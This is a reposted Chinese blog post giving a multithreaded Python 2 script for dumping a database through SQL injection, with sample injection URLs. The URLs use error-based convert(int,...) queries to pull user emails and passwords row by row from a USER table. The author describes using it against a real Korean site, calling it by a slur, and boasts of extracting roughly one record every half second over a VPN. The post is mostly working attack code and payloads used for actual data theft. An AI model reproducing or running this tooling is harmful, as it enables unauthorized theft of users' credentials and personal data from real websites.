分享

[Python in Hacking]多线程拖裤子脚本

 看风景D人 2014-01-23

 某韩国猪肉点,MSSQL2000数据库分离,DB_OWNER权限,内网的数据库连不上外网,弹不回本地,因为目的就是数据,就懒得再找方法拿Shell了,

  1. #!/usr/bin/env python 
  2. #Code by Pnig0s1992 
  3. #TeAm:FreeBuf 
  4. #Date:2011.10.17 
  5. import Queue 
  6. import threading 
  7. import urllib,urllib2 
  8. import time 
  9.  
  10. hosts = [] 
  11.  
  12. fd = open('data.txt','r'
  13. for i in range(0,600000): 
  14.     hosts.append(fd.readline()) 
  15. fd.close() 
  16.  
  17. list_len = len(hosts) 
  18.  
  19. queue = Queue.Queue() 
  20.  
  21. class ThreadUrl(threading.Thread): 
  22.     def __init__(self, queue): 
  23.         threading.Thread.__init__(self
  24.         self.queue = queue 
  25.  
  26.     def run(self): 
  27.         while True
  28.             #grabs host from queue 
  29.             print "%d\n" % list_len 
  30.             host = self.queue.get() 
  31.             enurl = urllib.quote_plus(host,safe='\':/?-&*.=-()%,+'
  32.             rs = urllib.urlopen(enurl) 
  33.             getItem = rs.read() 
  34.             Begin = getItem.find('R!')+2 
  35.             End = getItem.find('!R'
  36.             data = getItem[Begin:End].strip() 
  37.             rs.close() 
  38.             if len(data)<100
  39.                 fd = open('result.txt','a'
  40.                 fd.writelines(data+"\n"
  41.                 fd.close() 
  42.                 print "%s\n" % data 
  43.             self.queue.task_done() 
  44.              
  45.  
  46. start = time.time() 
  47.  
  48. def main(): 
  49.     print "###############################" 
  50.     print "#  MultiThread dumping script #" 
  51.     print "#      Code By:Pnig0s1992     #" 
  52.     print "#         TeAm:FreeBuf        #" 
  53.     print "#   http://www./ #" 
  54.     print "###############################" 
  55.     #spawn a pool of threads, and pass them queue instance  
  56.     for i in range(10): 
  57.         t = ThreadUrl(queue) 
  58.         t.setDaemon(True
  59.         t.start() 
  60.  
  61.     #populate queue with data 
  62.     for host in hosts: 
  63.         queue.put(host) 
  64.      
  65.     #wait on the queue until everything has been processed 
  66.     queue.join() 
  67. main() 
  68. print "Elapsed Time: %s" % (time.time() - start) 

data.txt里是Sql语句一行一个,同样也是用Python生成的

  1. http://www./xxx.asp?id=convert(int,(char(82)%2bchar(33)%2b(select+top+1+isnull([USER_email],char(32))%2bchar(94)%2bisnull([user_passwd],char(32))+from+(select+top+2015+[USER_Email],[USER_Passwd],[User_ID]+from+[USER]+order+by+[USER_ID]+asc)+sq+order+by+[USER_ID]+desc)%2bchar(33)%2bchar(82)))+and+11=1 
  2. http://www./xxx.asp?id=convert(int,(char(82)%2bchar(33)%2b(select+top+1+isnull([USER_email],char(32))%2bchar(94)%2bisnull([user_passwd],char(32))+from+(select+top+2016+[USER_Email],[USER_Passwd],[User_ID]+from+[USER]+order+by+[USER_ID]+asc)+sq+order+by+[USER_ID]+desc)%2bchar(33)%2bchar(82)))+and+11=1 
  3. http://www./xxx.asp?id=convert(int,(char(82)%2bchar(33)%2b(select+top+1+isnull([USER_email],char(32))%2bchar(94)%2bisnull([user_passwd],char(32))+from+(select+top+2017+[USER_Email],[USER_Passwd],[User_Id]+from+[USER]+order+by+[USER_Id]+asc)+sq+order+by+[USER_Id]+desc)%2bchar(33)%2bchar(82)))+and+11=1 

result.txt里是拖下来的数据信息:

测试了下,速度不错 开了20线程挂了韩国的VPN不到半秒一条 Python多线程还是很稳定的

本文出自 “About:Blank H4cking” 博客,请务必保留此出处http://pnig0s1992.blog.51cto.com/393390/690408

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多